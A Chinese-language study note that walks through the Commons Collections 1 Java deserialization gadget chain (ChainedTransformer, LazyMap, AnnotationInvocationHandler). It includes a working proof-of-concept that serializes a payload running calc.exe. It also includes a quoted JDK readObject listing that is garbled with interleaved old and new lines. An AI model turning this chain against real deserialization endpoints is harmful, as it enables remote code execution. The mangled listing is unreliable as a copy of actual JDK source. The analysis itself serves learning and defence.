前言
1、demo命令执行代码——网上直接抄
package ysoserial.secmgr;
import org.apache.commons.collections.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class xxx {
public static void main(String[] args)
{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next();
elEntry.setValue("hahah");
}
}
这一部分的代码和CC1前置知识一样(哎没办法只会copy)
其实后面再看nice_0e3大佬的文章,发现前置知识的内容其实就是整个CC1的分析了。
这里我们直接过一遍,就不逐步分析demo的每一行代码了,但是可以再把里面调用到的一些方法总结一下。
Transformer
ConstantTransformer
new ConstantTransformer(Runtime.class) ConstantTransformer是Transformer的实现类
内有iConstant会对其进行赋值,主要是Return返回传入的类
InvokerTransformer
同样是Transformer的实现类,内构造方法有三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 。
通过调用java反射机制来获取类并调用执行
ChainedTransformer
没错还是Transformer的实现类,内有构造方法传入一个transformers值,以及一个transform类来遍历对传入的数值进行遍历并且调用数组对象的transform
LazyMap
除了TransformedMap,还有LazyMap
Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);
当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法
这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一
而LazyMap与TransformedMap两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法,如下图所示get方法
当调用get(key)的key不存在时,会调用transformerChain的transform()方法。
因此上面的demo弹计算器的案例我们可以简单改一下,将put方法修改为get,如下所示,修改的代码行数为第30——32行
package ysoserial.secmgr;
import org.apache.commons.collections.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class xxx {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1");
}
}
分析
下断点F7
直接进到LazyMap.decorate方法
执行了 tmpmap.get(“1”) 后,到达get方法
之后就开始调用transform方法了
this.factory为Transformer[]数组,这时候去调用就会执行transform方法,而ChainedTransformer的transform方法又会去遍历调用Transformer[]里面的transform方法,导致使用方式的方式传入的Runtime调用了exec执行了calc.exe弹出一个计算器,这后面的分析就和上篇文章的调用类似
但是在实际运用中,需要将该代码转换为序列化流,而不是直接执行代码让它弹calc,两者之间就差一个readObject。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件
————————————————————————————————————————————————
OK!上述我们说的是通过LazyMap.get或者TransformedMap.put来作为命令执行的关键节点,
因此,我们接下来的目的就是要找到一个方法来调用这个get或者put(实际上putALL,checkSetValue也可以)
很巧,AnnotationInvocationHandler这个类里的invoke类就存在调用get方法
AnnotationInvocationHandler
接下来我们再来看一个东西,该类是来处理注解的
该类的构造函数传入两个参数,分别为Annotation 类类型的class和map类类型的参数
再来看这个AnnotationInvocationHandler的readObject方法(该方法在高版本被改过,如果jdk版本太高,如我的1.8 191就和下列代码完全不一样)
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
ObjectInputStream.GetField fields = s.readFields();
@SuppressWarnings("unchecked")
Class<? extends Annotation> t = (Class<? extends Annotation>)fields.get("type", null);
@SuppressWarnings("unchecked")
Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues", null);
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
annotationType = AnnotationType.getInstance(t);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// consistent with runtime Map type
Map<String, Object> mv = new LinkedHashMap<>();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {
String name = memberValue.getKey();
Object value = null;
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value = new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
annotationType.members().get(name));
}
}
mv.put(name, value);
}
UnsafeAccessor.setType(this, t);
UnsafeAccessor.setMemberValues(this, mv);
}
在这里readObject()方法会去调用memberValues的entrySet()方法(第27行)。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap(在下面的POC里进行传入),而proxyMap采用动态代理的方式代理了AnnotationInvocationHandler,因此调用proxyMap既会调用AnnotationInvocationHandler的readObject()方法,而因此会再调用memberValues的entrySet()方法,entrySet()又继续触发到AnnotationInvocationHandler的invoke()方法进行执行。
POC
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz =
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,
Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler);
}
想来想去还是直接把大佬的图放着吧,还是比较清晰明朗的
Gadget chain: